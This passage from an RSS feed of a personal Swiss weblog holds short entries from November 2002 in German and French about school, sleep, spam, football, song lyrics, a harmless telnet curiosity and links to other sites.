  17126.    <content:encoded><![CDATA[Einfach mal das in die Kommandozeile eingeben: <pre>telnet blinkenlights.nl</pre><br>Gefunden bei <a href="https://web.archive.org/web/20021206183751/http://www.dynamicobjects.com/~diego/weblogs/arf/"><b>Abort, Retry, Fail?</b></a>
  17127. ]]></content:encoded>
  17128.  </item>
  17129.  
  17130.  <item>
  17131.    <title>Zeitraub</title>
  17132.    <link>https://blog.x-way.org/Misc/2002/11/23/Zeitraub.html</link>
  17133.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=188</guid>
  17134.    <dc:creator>Andreas Jaggi</dc:creator>
  17135.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17136.    <pubDate>Sat, 23 Nov 2002 19:43:00 +0100</pubDate>
  17137.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17138.    <description><![CDATA[Eigentlich wollte ich ja heute die Präsentation meiner Maturaarbeit vorbereiten, aber dann ist es doch anders gekommen. Hab noch ein wenig an meinem Weblog gebastelt.<br>Sichtbare Änderungen gibt's eigentlich keine, ausser dass jetzt die Schriftgrössen in pt und nicht mehr in px angegeben werden.
  17139. ]]></description>
  17140.    <content:encoded><![CDATA[Eigentlich wollte ich ja heute die Präsentation meiner Maturaarbeit vorbereiten, aber dann ist es doch anders gekommen. Hab noch ein wenig an meinem Weblog gebastelt.<br>Sichtbare Änderungen gibt's eigentlich keine, ausser dass jetzt die Schriftgrössen in pt und nicht mehr in px angegeben werden.
  17141. ]]></content:encoded>
  17142.  </item>
  17143.  
  17144.  <item>
  17145.    <title>Richtig defragmentieren</title>
  17146.    <link>https://blog.x-way.org/Tech/2002/11/23/Richtig_defragmentieren.html</link>
  17147.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=187</guid>
  17148.    <dc:creator>Andreas Jaggi</dc:creator>
  17149.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17150.    <pubDate>Sat, 23 Nov 2002 12:14:00 +0100</pubDate>
  17151.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  17152.    <description><![CDATA[Falls die Festplatte wieder so defragmentiert ist, wie <a href="http://waterwave.ch/weblog/detail.php?id=77"><b>damals bei mir</b></a>, hilft <a href="https://web.archive.org/web/20021207212959/http://fachschaft.physik.ruhr-uni-bochum.de/entdeckungen/defrag.shtml"><b>dieses Defragmentier-Tutorial</b></a> weiter ;-)<br><br>Von Ramon via ICQ
  17153. ]]></description>
  17154.    <content:encoded><![CDATA[Falls die Festplatte wieder so defragmentiert ist, wie <a href="http://waterwave.ch/weblog/detail.php?id=77"><b>damals bei mir</b></a>, hilft <a href="https://web.archive.org/web/20021207212959/http://fachschaft.physik.ruhr-uni-bochum.de/entdeckungen/defrag.shtml"><b>dieses Defragmentier-Tutorial</b></a> weiter ;-)<br><br>Von Ramon via ICQ
  17155. ]]></content:encoded>
  17156.  </item>
  17157.  
  17158.  <item>
  17159.    <title>Dös</title>
  17160.    <link>https://blog.x-way.org/Misc/2002/11/22/Does.html</link>
  17161.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=186</guid>
  17162.    <dc:creator>Andreas Jaggi</dc:creator>
  17163.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17164.    <pubDate>Fri, 22 Nov 2002 20:39:00 +0100</pubDate>
  17165.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17166.    <description><![CDATA[Ich weiss ehrlich nicht mehr, was mit mir los ist. Heute bin ich um 13 Uhr nach Hause gekommen und habe gleich bis 18 Uhr gepennt, einfach so. Und nachher hätte ich immernoch auf der Stelle einschlafen können. Hmm<br>Und das obwohl ich auf meinem 'Schulweg' schon 2 Stunden geschlafen habe und in der letzten Nacht wirklich nicht zuwenig Schlaf gekriegt habe. Komisch.
  17167. ]]></description>
  17168.    <content:encoded><![CDATA[Ich weiss ehrlich nicht mehr, was mit mir los ist. Heute bin ich um 13 Uhr nach Hause gekommen und habe gleich bis 18 Uhr gepennt, einfach so. Und nachher hätte ich immernoch auf der Stelle einschlafen können. Hmm<br>Und das obwohl ich auf meinem 'Schulweg' schon 2 Stunden geschlafen habe und in der letzten Nacht wirklich nicht zuwenig Schlaf gekriegt habe. Komisch.
  17169. ]]></content:encoded>
  17170.  </item>
  17171.  
  17172.  <item>
  17173.    <title>RFC-Editeur.org</title>
  17174.    <link>https://blog.x-way.org/Networking/2002/11/21/RFC-Editeurorg.html</link>
  17175.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=185</guid>
  17176.    <dc:creator>Andreas Jaggi</dc:creator>
  17177.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17178.    <pubDate>Thu, 21 Nov 2002 21:29:00 +0100</pubDate>
  17179.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  17180.    <description><![CDATA[Sur <a href="https://web.archive.org/web/20020531092009/http://rfc-editeur.org/"><b>RFC-Editeur.org</b></a> il y a des traductions françaises des RFC. Les RFC sont des documents qui font référence auprès de la Communauté Internet et qui décrivent, spécifient, aident à l'implémentation, standardisent et débattent de la majorité des normes, standards, technologies et protocoles liés à Internet et aux réseaux en général.
  17181. ]]></description>
  17182.    <content:encoded><![CDATA[Sur <a href="https://web.archive.org/web/20020531092009/http://rfc-editeur.org/"><b>RFC-Editeur.org</b></a> il y a des traductions françaises des RFC. Les RFC sont des documents qui font référence auprès de la Communauté Internet et qui décrivent, spécifient, aident à l'implémentation, standardisent et débattent de la majorité des normes, standards, technologies et protocoles liés à Internet et aux réseaux en général.
  17183. ]]></content:encoded>
  17184.  </item>
  17185.  
  17186.  <item>
  17187.    <title>Realien</title>
  17188.    <link>https://blog.x-way.org/School/2002/11/21/Realien.html</link>
  17189.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=184</guid>
  17190.    <dc:creator>Andreas Jaggi</dc:creator>
  17191.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17192.    <pubDate>Thu, 21 Nov 2002 21:18:00 +0100</pubDate>
  17193.    <category domain="https://blog.x-way.org/School/">School</category>
  17194.    <description><![CDATA[Wer wie ich die Lateinnote mit dem Schreiben von Realien rettet, findet <a href="https://web.archive.org/web/20021220101811/http://www.lateinforum.de/realien/index.html"><b>hier</b></a> einige Texte und Links zu verschiedenen anderen Texten.
  17195. ]]></description>
  17196.    <content:encoded><![CDATA[Wer wie ich die Lateinnote mit dem Schreiben von Realien rettet, findet <a href="https://web.archive.org/web/20021220101811/http://www.lateinforum.de/realien/index.html"><b>hier</b></a> einige Texte und Links zu verschiedenen anderen Texten.
  17197. ]]></content:encoded>
  17198.  </item>
  17199.  
  17200.  <item>
  17201.    <title>Johnny Colère</title>
  17202.    <link>https://blog.x-way.org/Music/2002/11/20/Johnny_Colere.html</link>
  17203.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=183</guid>
  17204.    <dc:creator>Andreas Jaggi</dc:creator>
  17205.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17206.    <pubDate>Wed, 20 Nov 2002 15:18:00 +0100</pubDate>
  17207.    <category domain="https://blog.x-way.org/Music/">Music</category>
  17208.    <description><![CDATA[Johnny m'a dit, Johnny m'a dit<br>Oublie ton père, oublie ta mère<br>Oublie ton coeur, oublie tes moeurs<br><br>Johnny m'a dit, Johnny m'a dit<br>Tupamaramos, Cangaceiros<br>C'est le camp qu'il faut choisir<br><br>Johnny m'a dit, Johnny m'a dit<br>Tout ça un soir ou le ciel zèbre d'éclairs<br>Nous déclarait "Nous allons fonder le parti unique"<br><br>Johnny m'a dit, Johnny m'a dit<br>Rejoins tes frères, rejoins tes soeurs<br>Bois le sang de ton ennemi<br><br>Johnny m'a dit, Johnny m'a dit<br>Ecarte le rouge, écarte le blanc<br>La seule couleur, c'est noir brillant<br>Johnny m'a dit, Johnny m'a dit<br>Tout ça un soir ou le ciel zèbre d'éclairs<br>Nous déclarait "Nous allons fonder le parti unique"<br><br>Et la victoire caresse l'espoir de nous appartenir<br>Et la victoire caresse l'espoir de nous appartenir<br>Car il faut tenir<br>Johnny m'a dit<br>Johnny m'a dit<br>Johnny m'a dit<br>Johnny m'a dit<br><br><a href="http://www.noirdez.com/"><b>Noir Désir</b></a> - Tostaky
  17209. ]]></description>
  17210.    <content:encoded><![CDATA[Johnny m'a dit, Johnny m'a dit<br>Oublie ton père, oublie ta mère<br>Oublie ton coeur, oublie tes moeurs<br><br>Johnny m'a dit, Johnny m'a dit<br>Tupamaramos, Cangaceiros<br>C'est le camp qu'il faut choisir<br><br>Johnny m'a dit, Johnny m'a dit<br>Tout ça un soir ou le ciel zèbre d'éclairs<br>Nous déclarait "Nous allons fonder le parti unique"<br><br>Johnny m'a dit, Johnny m'a dit<br>Rejoins tes frères, rejoins tes soeurs<br>Bois le sang de ton ennemi<br><br>Johnny m'a dit, Johnny m'a dit<br>Ecarte le rouge, écarte le blanc<br>La seule couleur, c'est noir brillant<br>Johnny m'a dit, Johnny m'a dit<br>Tout ça un soir ou le ciel zèbre d'éclairs<br>Nous déclarait "Nous allons fonder le parti unique"<br><br>Et la victoire caresse l'espoir de nous appartenir<br>Et la victoire caresse l'espoir de nous appartenir<br>Car il faut tenir<br>Johnny m'a dit<br>Johnny m'a dit<br>Johnny m'a dit<br>Johnny m'a dit<br><br><a href="http://www.noirdez.com/"><b>Noir Désir</b></a> - Tostaky
  17211. ]]></content:encoded>
  17212.  </item>
  17213.  
  17214.  <item>
  17215.    <title>Schnarch</title>
  17216.    <link>https://blog.x-way.org/Misc/2002/11/20/Schnarch.html</link>
  17217.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=182</guid>
  17218.    <dc:creator>Andreas Jaggi</dc:creator>
  17219.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17220.    <pubDate>Wed, 20 Nov 2002 15:08:00 +0100</pubDate>
  17221.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17222.    <description><![CDATA[Gestern um 19 Uhr nach Hause gekommen, vor den Fernseher gesetzt, etwa 15 min. später eingeschlafen, ca. um Mitternacht im Halbschlaf in mein Bett gewankt, weitergeschlafen bis 5 Uhr. Macht 10 Stunden Schlaf!<br>Und damit noch lange nicht genug ;-)<br>Um 6 Uhr in den Zug gesetzt und schon wieder einfach eingepennt. +1 Stunde Schlaf.<br>Und nocheinmal +1 Stunde Schlaf auf der Heimfahrt.<br><br>Bin ich schlafsüchtig?
  17223. ]]></description>
  17224.    <content:encoded><![CDATA[Gestern um 19 Uhr nach Hause gekommen, vor den Fernseher gesetzt, etwa 15 min. später eingeschlafen, ca. um Mitternacht im Halbschlaf in mein Bett gewankt, weitergeschlafen bis 5 Uhr. Macht 10 Stunden Schlaf!<br>Und damit noch lange nicht genug ;-)<br>Um 6 Uhr in den Zug gesetzt und schon wieder einfach eingepennt. +1 Stunde Schlaf.<br>Und nocheinmal +1 Stunde Schlaf auf der Heimfahrt.<br><br>Bin ich schlafsüchtig?
  17225. ]]></content:encoded>
  17226.  </item>
  17227.  
  17228.  <item>
  17229.    <title>GeForce FX</title>
  17230.    <link>https://blog.x-way.org/Tech/2002/11/18/GeForce_FX.html</link>
  17231.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=181</guid>
  17232.    <dc:creator>Andreas Jaggi</dc:creator>
  17233.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17234.    <pubDate>Mon, 18 Nov 2002 22:43:00 +0100</pubDate>
  17235.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  17236.    <description><![CDATA[<a href="http://www.nvidia.de/"><b>NVIDIA</b></a> <a href="http://heise.de/newsticker/data/anw-18.11.02-006/"><b>präsentiert</b></a> ihren neuen Graphikchip. Haben will!
  17237. ]]></description>
  17238.    <content:encoded><![CDATA[<a href="http://www.nvidia.de/"><b>NVIDIA</b></a> <a href="http://heise.de/newsticker/data/anw-18.11.02-006/"><b>präsentiert</b></a> ihren neuen Graphikchip. Haben will!
  17239. ]]></content:encoded>
  17240.  </item>
  17241.  
  17242.  <item>
  17243.    <title>Redesign</title>
  17244.    <link>https://blog.x-way.org/Misc/2002/11/18/Redesign.html</link>
  17245.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=180</guid>
  17246.    <dc:creator>Andreas Jaggi</dc:creator>
  17247.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17248.    <pubDate>Mon, 18 Nov 2002 21:55:00 +0100</pubDate>
  17249.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17250.    <description><![CDATA[<a href="https://web.archive.org/web/20021219012655/http://iquebec.ifrance.com/bloghappy"><b>s h a d o w</b></a> a un nouveau design.<br>Un peu de style 'dirty' et un peu de style 'retro'. Le résultat est un design actuel et attractif.<br><br>Je pense aussi à changer mon design. Est-ce que vous avez des désirs spéciaux?
  17251. ]]></description>
  17252.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021219012655/http://iquebec.ifrance.com/bloghappy"><b>s h a d o w</b></a> a un nouveau design.<br>Un peu de style 'dirty' et un peu de style 'retro'. Le résultat est un design actuel et attractif.<br><br>Je pense aussi à changer mon design. Est-ce que vous avez des désirs spéciaux?
  17253. ]]></content:encoded>
  17254.  </item>
  17255.  
  17256.  <item>
  17257.    <title>Welcome Back</title>
  17258.    <link>https://blog.x-way.org/Misc/2002/11/18/Welcome_Back.html</link>
  17259.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=179</guid>
  17260.    <dc:creator>Andreas Jaggi</dc:creator>
  17261.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17262.    <pubDate>Mon, 18 Nov 2002 16:36:00 +0100</pubDate>
  17263.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17264.    <description><![CDATA[Das <a href="https://web.archive.org/web/20070403124927/http://flashback.gantenbein.ws/"><b>flashback</b></a> wird wieder gefüllt. Scheint, als klappt das mit dem Internetzugang nun doch. Gratulation! ;-)
  17265. ]]></description>
  17266.    <content:encoded><![CDATA[Das <a href="https://web.archive.org/web/20070403124927/http://flashback.gantenbein.ws/"><b>flashback</b></a> wird wieder gefüllt. Scheint, als klappt das mit dem Internetzugang nun doch. Gratulation! ;-)
  17267. ]]></content:encoded>
  17268.  </item>
  17269.  
  17270.  <item>
  17271.    <title>Einsteinrätsel</title>
  17272.    <link>https://blog.x-way.org/Misc/2002/11/18/Einsteinraetsel.html</link>
  17273.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=178</guid>
  17274.    <dc:creator>Andreas Jaggi</dc:creator>
  17275.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17276.    <pubDate>Mon, 18 Nov 2002 00:44:00 +0100</pubDate>
  17277.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17278.    <description><![CDATA[<a href="http://www.airport1.de/einstein.htm"><b>Einstein's Rätsel</b></a>, das nur 2% der Weltbevölkerung lösen können sollen. Ich hab's geschafft, ich gehör zu den 2 intelligentesten % der Erde ;-)<br><br>via <a href="http://www.elfengleich.de/"><b>e.loge</b></a>
  17279. ]]></description>
  17280.    <content:encoded><![CDATA[<a href="http://www.airport1.de/einstein.htm"><b>Einstein's Rätsel</b></a>, das nur 2% der Weltbevölkerung lösen können sollen. Ich hab's geschafft, ich gehör zu den 2 intelligentesten % der Erde ;-)<br><br>via <a href="http://www.elfengleich.de/"><b>e.loge</b></a>
  17281. ]]></content:encoded>
  17282.  </item>
  17283.  
  17284.  <item>
  17285.    <title>Anti-Ads</title>
  17286.    <link>https://blog.x-way.org/Misc/2002/11/17/Anti-Ads.html</link>
  17287.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=177</guid>
  17288.    <dc:creator>Andreas Jaggi</dc:creator>
  17289.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17290.    <pubDate>Sun, 17 Nov 2002 22:10:00 +0100</pubDate>
  17291.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17292.    <description><![CDATA[Auf <a href="http://detritus.net/"><b>detritus.net</b></a> gibt es das Anti-Ads-Projekt, welches Parodien verschiedener Werbebanner macht.<br><br><img alt="Monitor Giveaway" src="https://blog.x-way.org/images/monitor_giveaway.gif"><br><br><img alt="Virusalert" src="https://blog.x-way.org/images/virusalert.gif"><br><br><img alt="Epilepsy" src="https://blog.x-way.org/images/epilepsy.gif"><br><br><img alt="Supportcyberterrorism" src="https://blog.x-way.org/images/supportcyberterrorism.gif">
  17293. ]]></description>
  17294.    <content:encoded><![CDATA[Auf <a href="http://detritus.net/"><b>detritus.net</b></a> gibt es das Anti-Ads-Projekt, welches Parodien verschiedener Werbebanner macht.<br><br><img alt="Monitor Giveaway" src="https://blog.x-way.org/images/monitor_giveaway.gif"><br><br><img alt="Virusalert" src="https://blog.x-way.org/images/virusalert.gif"><br><br><img alt="Epilepsy" src="https://blog.x-way.org/images/epilepsy.gif"><br><br><img alt="Supportcyberterrorism" src="https://blog.x-way.org/images/supportcyberterrorism.gif">
  17295. ]]></content:encoded>
  17296.  </item>
  17297.  
  17298.  <item>
  17299.    <title>Paris</title>
  17300.    <link>https://blog.x-way.org/Misc/2002/11/17/Paris1.html</link>
  17301.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=176</guid>
  17302.    <dc:creator>Andreas Jaggi</dc:creator>
  17303.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17304.    <pubDate>Sun, 17 Nov 2002 14:22:00 +0100</pubDate>
  17305.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17306.    <description><![CDATA[<a href="https://web.archive.org/web/20021121084130/http://parispourvous.com/"><b>parispourvous.com</b></a> est une autre website de Paris. Il y a 25 webcams et 240 photos panoramique.<br>Regardez-le!
  17307. ]]></description>
  17308.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021121084130/http://parispourvous.com/"><b>parispourvous.com</b></a> est une autre website de Paris. Il y a 25 webcams et 240 photos panoramique.<br>Regardez-le!
  17309. ]]></content:encoded>
  17310.  </item>
  17311.  
  17312.  <item>
  17313.    <title>Nein ich will eure Kamera-Attrape nicht!</title>
  17314.    <link>https://blog.x-way.org/Misc/2002/11/17/Nein_ich_will_eure_Kamera-Attrape_nicht.html</link>
  17315.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=175</guid>
  17316.    <dc:creator>Andreas Jaggi</dc:creator>
  17317.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17318.    <pubDate>Sun, 17 Nov 2002 12:36:00 +0100</pubDate>
  17319.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17320.    <description><![CDATA[Business Corporation for W+L. AG, Rautistrasse 71, 8048 Zürich<br><br>Merken die eigentlich nicht, dass sie ihrem Ruf mit dem Spam nur schaden?<br>Ich würde wetten, dass die Erfolgsqoute bei ihren Spam-Angebote unter 1 % liegt!
  17321. ]]></description>
  17322.    <content:encoded><![CDATA[Business Corporation for W+L. AG, Rautistrasse 71, 8048 Zürich<br><br>Merken die eigentlich nicht, dass sie ihrem Ruf mit dem Spam nur schaden?<br>Ich würde wetten, dass die Erfolgsqoute bei ihren Spam-Angebote unter 1 % liegt!
  17323. ]]></content:encoded>
  17324.  </item>
  17325.  
  17326.  <item>
  17327.    <title>Jungbürgerfeier</title>
  17328.    <link>https://blog.x-way.org/Misc/2002/11/17/Jungbuergerfeier.html</link>
  17329.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=174</guid>
  17330.    <dc:creator>Andreas Jaggi</dc:creator>
  17331.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17332.    <pubDate>Sun, 17 Nov 2002 12:21:00 +0100</pubDate>
  17333.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17334.    <description><![CDATA[Gestern Abend war Jungbürgerfeier und ich habe irgendwelche mystischen Papiere  bekommen.<br>... und nun hab ich Kopfschmerzen.<br>Mehr brauch ich dazu wohl nicht zu sagen ...
  17335. ]]></description>
  17336.    <content:encoded><![CDATA[Gestern Abend war Jungbürgerfeier und ich habe irgendwelche mystischen Papiere  bekommen.<br>... und nun hab ich Kopfschmerzen.<br>Mehr brauch ich dazu wohl nicht zu sagen ...
  17337. ]]></content:encoded>
  17338.  </item>
  17339.  
  17340.  <item>
  17341.    <title>Zur Abwechslung</title>
  17342.    <link>https://blog.x-way.org/Misc/2002/11/14/Zur_Abwechslung.html</link>
  17343.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=173</guid>
  17344.    <dc:creator>Andreas Jaggi</dc:creator>
  17345.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17346.    <pubDate>Thu, 14 Nov 2002 23:33:00 +0100</pubDate>
  17347.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17348.    <description><![CDATA[<a href="https://blog.x-way.org/images/14112002233023.jpg"><b>Hier</b></a> hat es einen aktuellen Screenshots meines Desktops.
  17349. ]]></description>
  17350.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/images/14112002233023.jpg"><b>Hier</b></a> hat es einen aktuellen Screenshots meines Desktops.
  17351. ]]></content:encoded>
  17352.  </item>
  17353.  
  17354.  <item>
  17355.    <title>Dune du Pilat</title>
  17356.    <link>https://blog.x-way.org/Misc/2002/11/14/Dune_du_Pilat.html</link>
  17357.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=172</guid>
  17358.    <dc:creator>Andreas Jaggi</dc:creator>
  17359.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17360.    <pubDate>Thu, 14 Nov 2002 21:47:00 +0100</pubDate>
  17361.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17362.    <description><![CDATA[La Dune du Pilat est la plus haute d'Europe: 117 m.<br>Elle est située à côté du bassin d'Arcachon.<br>J'étais plusieurs fois là et c'ètait chaque fois une impréssion merveilleuse et inoublieable!<br><br>Bon, d'un scan d'une carte postale j'ai fait ce wallpaper <a href="https://blog.x-way.org/images/pilat.jpg"><b>là</b></a> car j'aime beaucoup cette région.
  17363. ]]></description>
  17364.    <content:encoded><![CDATA[La Dune du Pilat est la plus haute d'Europe: 117 m.<br>Elle est située à côté du bassin d'Arcachon.<br>J'étais plusieurs fois là et c'ètait chaque fois une impréssion merveilleuse et inoublieable!<br><br>Bon, d'un scan d'une carte postale j'ai fait ce wallpaper <a href="https://blog.x-way.org/images/pilat.jpg"><b>là</b></a> car j'aime beaucoup cette région.
  17365. ]]></content:encoded>
  17366.  </item>
  17367.  
  17368.  <item>
  17369.    <title>A remarquer</title>
  17370.    <link>https://blog.x-way.org/Misc/2002/11/14/A_remarquer.html</link>
  17371.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=171</guid>
  17372.    <dc:creator>Andreas Jaggi</dc:creator>
  17373.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17374.    <pubDate>Thu, 14 Nov 2002 00:29:00 +0100</pubDate>
  17375.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17376.    <description><![CDATA[<a href="https://web.archive.org/web/20021204194214/http://www.martinepage.com/blog/"><b>ni vu ni connu</b></a> est aussi un blogue bilingue: français - anglais<br>
  17377. <a href="https://web.archive.org/web/20021011104904/http://radio.weblogs.com/0100301/"><b>xtof. Carnet Web.</b></a> traite les outils de publication et d'échange.
  17378.  
  17379. ]]></description>
  17380.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021204194214/http://www.martinepage.com/blog/"><b>ni vu ni connu</b></a> est aussi un blogue bilingue: français - anglais<br>
  17381. <a href="https://web.archive.org/web/20021011104904/http://radio.weblogs.com/0100301/"><b>xtof. Carnet Web.</b></a> traite les outils de publication et d'échange.
  17382.  
  17383. ]]></content:encoded>
  17384.  </item>
  17385.  
  17386.  <item>
  17387.    <title>Fatiguéant</title>
  17388.    <link>https://blog.x-way.org/School/2002/11/13/Fatigueant.html</link>
  17389.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=170</guid>
  17390.    <dc:creator>Andreas Jaggi</dc:creator>
  17391.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17392.    <pubDate>Wed, 13 Nov 2002 23:54:00 +0100</pubDate>
  17393.    <category domain="https://blog.x-way.org/School/">School</category>
  17394.    <description><![CDATA[Aujourd'hui je me suis présque endormi en école car je n'ai que dort une heure la dernière nuit. Bon, aux maths en traitait le calcul des probabilités et je devais me dire tout le temps: 'Ne ferme pas tes yeux...' car c'était si ennuyeux ;-)
  17395. ]]></description>
  17396.    <content:encoded><![CDATA[Aujourd'hui je me suis présque endormi en école car je n'ai que dort une heure la dernière nuit. Bon, aux maths en traitait le calcul des probabilités et je devais me dire tout le temps: 'Ne ferme pas tes yeux...' car c'était si ennuyeux ;-)
  17397. ]]></content:encoded>
  17398.  </item>
  17399.  
  17400.  <item>
  17401.    <title>Verhaut die Spammer !!!</title>
  17402.    <link>https://blog.x-way.org/Misc/2002/11/13/Verhaut_die_Spammer_.html</link>
  17403.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=169</guid>
  17404.    <dc:creator>Andreas Jaggi</dc:creator>
  17405.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17406.    <pubDate>Wed, 13 Nov 2002 02:54:00 +0100</pubDate>
  17407.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17408.    <description><![CDATA[Nein, 'CH - Versandhandel, Albulastrasse 47, 8048 Zürich' ich will deine 'DVD Movie Copy' nicht!<br>Nein, auch nicht wenn du mir auf jeden Mail-Account deine Werbe-Mails in vielfacher ausführung schickst!<br>Nein! Nicht!<br><br>Genausowenig will ich deine Werbe-Mails! Nein, wirklich nicht! Nein! Nicht! Nie!
  17409. ]]></description>
  17410.    <content:encoded><![CDATA[Nein, 'CH - Versandhandel, Albulastrasse 47, 8048 Zürich' ich will deine 'DVD Movie Copy' nicht!<br>Nein, auch nicht wenn du mir auf jeden Mail-Account deine Werbe-Mails in vielfacher ausführung schickst!<br>Nein! Nicht!<br><br>Genausowenig will ich deine Werbe-Mails! Nein, wirklich nicht! Nein! Nicht! Nie!
  17411. ]]></content:encoded>
  17412.  </item>
  17413.  
  17414.  <item>
  17415.    <title>3 : 3</title>
  17416.    <link>https://blog.x-way.org/Misc/2002/11/12/3__3.html</link>
  17417.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=168</guid>
  17418.    <dc:creator>Andreas Jaggi</dc:creator>
  17419.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17420.    <pubDate>Tue, 12 Nov 2002 23:00:00 +0100</pubDate>
  17421.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17422.    <description><![CDATA[So lautet das Endresultat des Fussballmatches. Dies bewirkt nun, dass der FC Basel in der Championsleague weiterkommt. Jedoch scheidet damit der FC Liverpool aus. *hehe*<br><br><a href="http://www.fcb.ch/"><b><span style="color: #ff0000;">F</span><span style="color: #0000FF;">C</span><span style="color: #FF0000;">B</span><span style="color: #0000FF">!</span></b></a>
  17423. ]]></description>
  17424.    <content:encoded><![CDATA[So lautet das Endresultat des Fussballmatches. Dies bewirkt nun, dass der FC Basel in der Championsleague weiterkommt. Jedoch scheidet damit der FC Liverpool aus. *hehe*<br><br><a href="http://www.fcb.ch/"><b><span style="color: #ff0000;">F</span><span style="color: #0000FF;">C</span><span style="color: #FF0000;">B</span><span style="color: #0000FF">!</span></b></a>
  17425. ]]></content:encoded>
  17426.  </item>
  17427.  
  17428.  <item>
  17429.    <title>Live</title>
  17430.    <link>https://blog.x-way.org/Misc/2002/11/12/Live.html</link>
  17431.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=167</guid>
  17432.    <dc:creator>Andreas Jaggi</dc:creator>
  17433.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17434.    <pubDate>Tue, 12 Nov 2002 21:55:00 +0100</pubDate>
  17435.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17436.    <description><![CDATA[Ach ja, falls jemand eine Website kennt, auf der man Live das laufende Spiel verfolgen könnte, wär's natürlich nett, wenn man sie mir mitteilen würde ;-)
  17437. ]]></description>
  17438.    <content:encoded><![CDATA[Ach ja, falls jemand eine Website kennt, auf der man Live das laufende Spiel verfolgen könnte, wär's natürlich nett, wenn man sie mir mitteilen würde ;-)
  17439. ]]></content:encoded>
  17440.  </item>
  17441.  
  17442.  <item>
  17443.    <title>Spick</title>
  17444.    <link>https://blog.x-way.org/School/2002/11/12/Spick.html</link>
  17445.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=166</guid>
  17446.    <dc:creator>Andreas Jaggi</dc:creator>
  17447.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17448.    <pubDate>Tue, 12 Nov 2002 21:52:00 +0100</pubDate>
  17449.    <category domain="https://blog.x-way.org/School/">School</category>
